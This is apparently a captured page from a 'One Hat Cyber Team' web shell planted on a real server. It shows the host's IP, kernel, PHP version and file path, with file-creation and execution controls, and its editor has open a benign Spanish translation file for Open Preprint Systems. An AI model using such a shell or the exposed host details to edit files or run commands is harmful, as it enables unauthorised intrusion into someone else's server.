One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ops
/
locale
/
es_ES
/
Edit File:
submission.po
msgid "" msgstr "" "PO-Revision-Date: 2020-08-12 16:48+0000\n" "Last-Translator: Alex Mendonça <alex.mendonca@scielo.org>\n" "Language-Team: Spanish <http://translate.pkp.sfu.ca/projects/ops/submissions/" "es_ES/>\n" "Language: es_ES\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: Weblate 3.9.1\n" msgid "catalog.browseTitles" msgstr "{$numTitles} elementos" #, fuzzy msgid "publication.publish.confirmation" msgstr "" "Se han cumplido todos los requisitos de publicación. ¿Está seguro de que " "quiere publicar esto?" msgid "preprint.relations" msgstr "Relaciones" msgid "publication.datePublished.description" msgstr "" "La fecha de publicación se establecerá automáticamente cuando se publique el " "preprint. No ingrese una fecha de publicación a menos que necesite " "antedatarla." msgid "publication.issue.success" msgstr "Los detalles de la entrada de preprint se han actualizado." msgid "preprint.entry" msgstr "Entrada de preprint" msgid "publication.invalidSection" msgstr "No se pudo encontrar la sección de esta publicación." msgid "galley.publicationNotFound" msgstr "La publicación de esta galerada no se pudo encontrar." msgid "galley.editPublishedDisabled" msgstr "" "Las galeradas de esta publicación no se pueden editar porque ya se ha " "postado." msgid "catalog.category.heading" msgstr "Todos los artículos" #, fuzzy msgid "submission.sectionOptions" msgstr "Opciones de serie" msgid "submission.metadataDescription" msgstr "" "Estas especificaciones se basan en el conjunto de metadatos Dublin Core, un " "estándar internacional utilizado para describir contenido." msgid "submission.submit.form.contributorRoleRequired" msgstr "Seleccione el rol del colaborador." #, fuzzy msgid "submission.submit.form.wordCountAlert" msgstr "" "Su resumen es demasiado largo. Acorte por debajo del límite de palabras " "indicado para esta serie." msgid "submission.submit.form.abstractRequired" msgstr "Por favor, introduzca el resumen de su preprint." msgid "submission.submit.form.titleRequired" msgstr "Por favor, introduzca el título de su preprint." msgid "submission.submit.form.authorRequired" msgstr "Se requiere al menos un autor." msgid "submission.submit.contributorRole" msgstr "Rol del colaborador" msgid "submission.submit.submissionChecklistDescription" msgstr "" "Debe leer y reconocer que ha completado los requisitos a continuación antes " "de continuar." msgid "submission.submit.submissionChecklist" msgstr "Lista de verificación de envío" msgid "submission.submit.form.localeRequired" msgstr "Por favor seleccione un idioma de envío." msgid "submission.complete" msgstr "Aprobado" msgid "submission.upload.fileContents" msgstr "Componente de preprint" msgid "submission.confirmSubmit" msgstr "¿Está seguro de que desea enviar este preprint al servidor?" msgid "submission.galleyFiles" msgstr "Archivos de galerada" msgid "submission.submit.noContext" msgstr "No se pudo encontrar el servidor de este envío." msgid "submission.abstract.wordCount.description" msgstr "El resumen debe ser {$wordCount} palabras o menos." msgid "submission.submit.newSubmissionSingle" msgstr "Nuevo Envío" msgid "submission.title" msgstr "Título de preprint" msgid "submission.upload.selectComponent" msgstr "Seleccionar el componente de preprint" msgid "submission.submit.userGroupDescription" msgstr "Elija la capacidad bajo la cual está enviando este preprint." msgid "submission.submit.userGroup" msgstr "Envío en mi rol de ..." msgid "submission.submit.title" msgstr "Enviar un preprint" msgid "publication.relation.vorDoi" msgstr "DOI del artículo publicado" msgid "publication.relation.published" msgstr "El preprint ha sido publicado como artículo en una revista" msgid "publication.relation.submitted" msgstr "El preprint ha sido enviado para publicación en revista" msgid "publication.relation.none" msgstr "El preprint no ha sido enviado para publicación" msgid "publication.relation.label" msgstr "Enviado para publicación" msgid "publication.relation" msgstr "Relaciones"
Simpan